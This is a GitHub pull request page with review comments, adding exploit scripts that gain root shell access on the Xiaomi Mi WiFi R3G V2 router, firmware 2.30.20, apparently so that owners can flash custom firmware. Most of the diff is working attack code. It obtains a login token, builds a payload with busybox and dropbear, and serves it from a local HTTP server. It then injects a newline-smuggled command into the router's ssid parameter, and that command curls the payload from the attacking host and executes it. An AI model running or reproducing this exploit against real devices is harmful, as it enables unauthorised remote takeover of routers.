Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploit scripts for the V2 of the Router with Firmware 2.30.20 #155

Open
wants to merge 8 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions bootstrapper_v2.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
#!/bin/ash

set -euo pipefail
cd /tmp
tar -xzf /tmp/payload.tar.gz
chmod a+x /tmp/script.sh
/tmp/script.sh exploit

exit 0
Binary file added extras/busybox/busybox
Binary file not shown.
35 changes: 35 additions & 0 deletions http_file_server.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
import socketserver
import threading
import time
import sys
import http.server
import socket

class HttpFileServer:
def __init__(self, root_dir='.'):
HOST, PORT = '', 0
self.server = socketserver.TCPServer((HOST, PORT), http.server.SimpleHTTPRequestHandler)
self.server.root_dir = root_dir
self.ip, self.port = self.server.server_address

def __enter__(self):
self.run()
return self

def run(self):
self.server_thread = threading.Thread(target=self.server.serve_forever)
self.server_thread.daemon = True
self.server_thread.start()
print("local file server is runing on {}:{}. root='{}'".format(self.ip, self.port, self.server.root_dir))

def __exit__(self, exc_type, exc_val, exc_tb):
print("stopping local file server")
self.server.shutdown()
self.server.server_close()


if __name__ == "__main__":
root_dir = '.' if len(sys.argv) <= 1 else sys.argv[1]
with HttpFileServer(root_dir):
while True:
time.sleep(10)
223 changes: 115 additions & 108 deletions remote_command_execution_vulnerability.py
Original file line number Diff line number Diff line change
@@ -1,17 +1,22 @@
#!/usr/bin/python
# There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G before version stable 2.28.23.
# The backup file is in tar.gz format. After uploading, the application uses the tar zxf command to decompress,
# so you can control the contents of the files in the decompressed directory.
# In addition, the application's sh script for testing upload and download speeds will read the url list from /tmp/speedtest_urls.xml,
# and there is a command injection vulnerability.
'''
There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G V2 with version 2.30.20 and up we can
use to activate Telnet and SSH to flash our own system on them.

# discoverer: UltramanGaia from Kap0k & Zhiniang Peng from Qihoo 360 Core Security
The script creates a payload, which is served via a local HTTP server, port 8000. The router
will download the payload, extracts it and executes the already known script.

# HOW TO RUN
# Install requirements
# pip3 install -r requirements.txt
# Run the script
# python3 remote_command_execution_vulnerability.py
The busybox executable was removed from the firmware, so we have to include one, same with
dropbear for SSH. They will be in the payload, no other downloads necessary.

Source: https://github.com/acecilia/OpenWRTInvasion/issues/141#issuecomment-1296033775

HOW TO RUN
Install requirements
pip3 install -r requirements.txt
Run the script
python3 remote_command_execution_vulnerability.py
'''

import os
import shutil
Expand All @@ -24,19 +29,31 @@
import hashlib
import platform
import socket
import urllib.parse
import socket

# make sure that script.sh on windows uses \n
#------------------------------------------------------------------------------------------------------------------
if platform.system() == "Windows":
with open("script.sh", "rt", encoding = "UTF-8") as f:
content = f.read()
with open("script.sh", "wt", encoding = "UTF-8", newline="\n") as f:
f.write(content)

router_ip_address="miwifi.com"
#router_ip_address = "192.168.31.1"
router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address

# get stok
sys.exit("Stopping: script can only be run on a Mac/Linux system")
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is this intentional? Windows support is being dropped again?

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you have a Windows system, remove the code and try it. I have no Windows that was working with it, and when I have to give it to somebody without much knowledge, a live disk in VMWare would be easier.

#------------------------------------------------------------------------------------------------------------------

#------------------------------------------------------------------------------------------------------------------
# functions
# get_hosting_ip for the webserver request
def get_hosting_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(0)
try:
# doesn't even have to be reachable
s.connect(('192.168.31.1', 1))
IP = s.getsockname()[0]
except Exception:
IP = '127.0.0.1'
finally:
s.close()
return IP
#------------------------------------------------------------------------------------------------------------------
# get stok for router access
def get_stok(router_ip_address):
try:
r0 = requests.get("http://{router_ip_address}/cgi-bin/luci/web".format(router_ip_address=router_ip_address))
Expand All @@ -50,7 +67,8 @@ def get_stok(router_ip_address):
return None
key = re.findall(r'key: \'(.*)\',', r0.text)[0]
nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000))
router_password = input("Enter router admin password: ")
router_password = "12345678"
router_password = input("Enter router admin password: '{}']: ".format(router_password)) or router_password
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What is this hardcoded password?

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's not "hardcoded" - it's initialized and a user could change it. I used 12345678 for the tests and with the placeholder, I did not have to enter it all the time.

account_str = hashlib.sha1((router_password + key).encode('utf-8')).hexdigest()
password = hashlib.sha1((nonce + account_str).encode('utf-8')).hexdigest()
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
Expand All @@ -64,81 +82,35 @@ def get_stok(router_ip_address):
print("Failed to get stok in login response '{}'".format(r1.text))
return None
return stok

stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ")
print("""There two options to provide the files needed for invasion:
1. Use a local TCP file server runing on random port to provide files in local directory `script_tools`.
2. Download needed files from remote github repository. (choose this option only if github is accessable inside router device.)""")
use_local_file_server = (input("Which option do you prefer? (default: 1)") or "1") == "1"

# From https://blog.securityevaluators.com/show-mi-the-vulns-exploiting-command-injection-in-mi-router-3-55c6bcb48f09
# In the attacking machine (macos), run the following before executing this script: /usr/bin/nc -l 4444
command = "((sh /tmp/script.sh exploit) &)"

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

if os.path.exists("build"):
shutil.rmtree("build")
os.makedirs("build")

# make config file
speed_test_filename = "speedtest_urls.xml"
with open("speedtest_urls_template.xml", "rt", encoding = "UTF-8") as f:
template = f.read()
data = template.format(router_ip_address=router_ip_address, command=command)
# print(data)
with open("build/speedtest_urls.xml", "wt", encoding = "UTF-8", newline = "\n") as f:
f.write(data)

print("****************")
print("router_ip_address: " + router_ip_address)
print("stok: " + stok)
print("file provider: " + ("local file server" if use_local_file_server else "remote github repository"))
print("****************")

# Make tar
with tarfile.open("build/payload.tar.gz", "w:gz") as tar:
tar.add("build/speedtest_urls.xml", "speedtest_urls.xml")
tar.add("script.sh")
# tar.add("busybox")
# tar.add("extras/wget")
# tar.add("extras/xiaoqiang")

# upload config file
print("start uploading config file...")
r1 = requests.post(
"http://{}/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(router_ip_address, stok),
files={"image": open("build/payload.tar.gz", 'rb')},
proxies=proxies
)
# print(r1.text)

def send_test_netspeed_request(router_ip_address, stok, port):
r = requests.get(
"http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed?{}".format(router_ip_address, stok, port),
proxies=proxies
)
# print(r.text)

# exec download speed test, exec command
print("start exec command...")
if use_local_file_server:
from tcp_file_server import TcpFileServer
file_server = TcpFileServer("script_tools")

with file_server:
# The TCP file server will use a random port number.
# And this port number will be sent to the router luci web server through query parameters of testing net speed request here.
# Then in the injected `script.sh`, we can get the client IP address and file server port
# through CGI variables `REMOTE_ADDR` and `QUERY_STRING` to download needed files.
send_test_netspeed_request(router_ip_address, stok, file_server.port)
else: # Use remote github repository. port setted to 0.
send_test_netspeed_request(router_ip_address, stok, port=0)

retry = 3
delay = 1
timeout = 3
#------------------------------------------------------------------------------------------------------------------
# create_exploit_url creates the URL we use, to upload our payload and execute it
def create_exploit_url(http_port_number):
exploit_cmd = "cd /tmp && "
exploit_cmd += "curl -s http://{}:{}/build/payload.tar.gz > payload.tar.gz && ".format(hosting_ip, http_port_number)
exploit_cmd += "curl -s http://{}:{}/bootstrapper_v2.sh > bootstrapper.sh && ".format(hosting_ip, http_port_number)
exploit_cmd += "/bin/ash /tmp/bootstrapper.sh".format(hosting_ip, http_port_number, hosting_ip, http_port_number)


Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[detail] Double blank line

print("exploit url: {}".format(exploit_cmd))
exploit_code = urllib.parse.quote(exploit_cmd).replace("/", "%2F")
print("exploit_code: {}".format(exploit_code))

exploit_url = "http://{}/cgi-bin/luci/;stok={}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0A{}%0A".format(router_ip_address, stok, exploit_code)
print("exploit_url: {}".format(exploit_url))
return exploit_url
#------------------------------------------------------------------------------------------------------------------
# checkHost - checks the host connection
def checkHost(ip, port):
ipup = False
for i in range(retry):
if isOpen(ip, port):
ipup = True
break
else:
time.sleep(delay)
return ipup
#------------------------------------------------------------------------------------------------------------------
# isOpen checks ports on the router
def isOpen(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
Expand All @@ -150,21 +122,56 @@ def isOpen(ip, port):
return False
finally:
s.close()
#------------------------------------------------------------------------------------------------------------------
# BuildPayload creates the tar.gz we let the router download from out client
def BuildPayload():
if os.path.exists("build"):
shutil.rmtree("build")

os.makedirs("build")

# Make tar
with tarfile.open("build/payload.tar.gz", "w:gz") as tar:
tar.add("script_v2.sh", "script.sh")
tar.add("extras/busybox/busybox", "busybox")
tar.add("script_tools/dropbearStaticMipsel.tar.bz2", "dropbear.tar.bz2")
#------------------------------------------------------------------------------------------------------------------
def ExecuteInjection():
from http_file_server import HttpFileServer
web_server = HttpFileServer("build")

with web_server:
# upload and execute payload
print("start uploading payload file...")
payload_download = requests.get(create_exploit_url(web_server.port))
print(payload_download.text)

#------------------------------------------------------------------------------------------------------------------
# Scriptstart
#------------------------------------------------------------------------------------------------------------------
hosting_ip = get_hosting_ip()
http_port_number = 0
router_ip_address="192.168.31.1"
router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address
hosting_ip = input("Local Host IP address [press enter for using the default '{}']: ".format(hosting_ip)) or hosting_ip
stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ")

def checkHost(ip, port):
ipup = False
for i in range(retry):
if isOpen(ip, port):
ipup = True
break
else:
time.sleep(delay)
return ipup
print("****************")
print("router_ip_address: " + router_ip_address)
print("stok: " + stok)
print("****************")

BuildPayload()
ExecuteInjection()

retry = 5
delay = 5
timeout = 20

if checkHost(router_ip_address, 22):
print("done! Now you can connect to the router using several options: (user: root, password: root)")
print("* telnet {}".format(router_ip_address))
print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address))
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why is oHostKeyAlgorithms=+ssh-rsa gone?

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why is it needed in the first place? The ssh client does the handshake and got the right cipher and algorithms.

`
debug1: Remote protocol version 2.0, remote software version dropbear

debug1: compat_banner: no match: dropbear

debug1: Authenticating to hella:22 as root

debug1: SSH2_MSG_KEXINIT sent

debug1: SSH2_MSG_KEXINIT received

debug1: kex: algorithm: curve25519-sha256

debug1: kex: host key algorithm: ssh-ed25519

debug1: kex: server->client cipher: [email protected] MAC: compression: none

debug1: kex: client->server cipher: [email protected] MAC: compression: none

debug1: expecting SSH2_MSG_KEX_ECDH_REPLY

debug1: SSH2_MSG_KEX_ECDH_REPLY received

debug1: Server host key: ssh-ed25519 SHA256:vFou7A4lAJIvzCPMb1ds1Eve7pMZ2z4YNDGTpz48S+4

debug1: Host hella is known and matches the ED25519 host key.
`

print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address))
print("* ftp: using a program like cyberduck")
else:
print("Warning: the process has finished, but seems like ssh connection to the router is not working as expected.")
Expand Down
Loading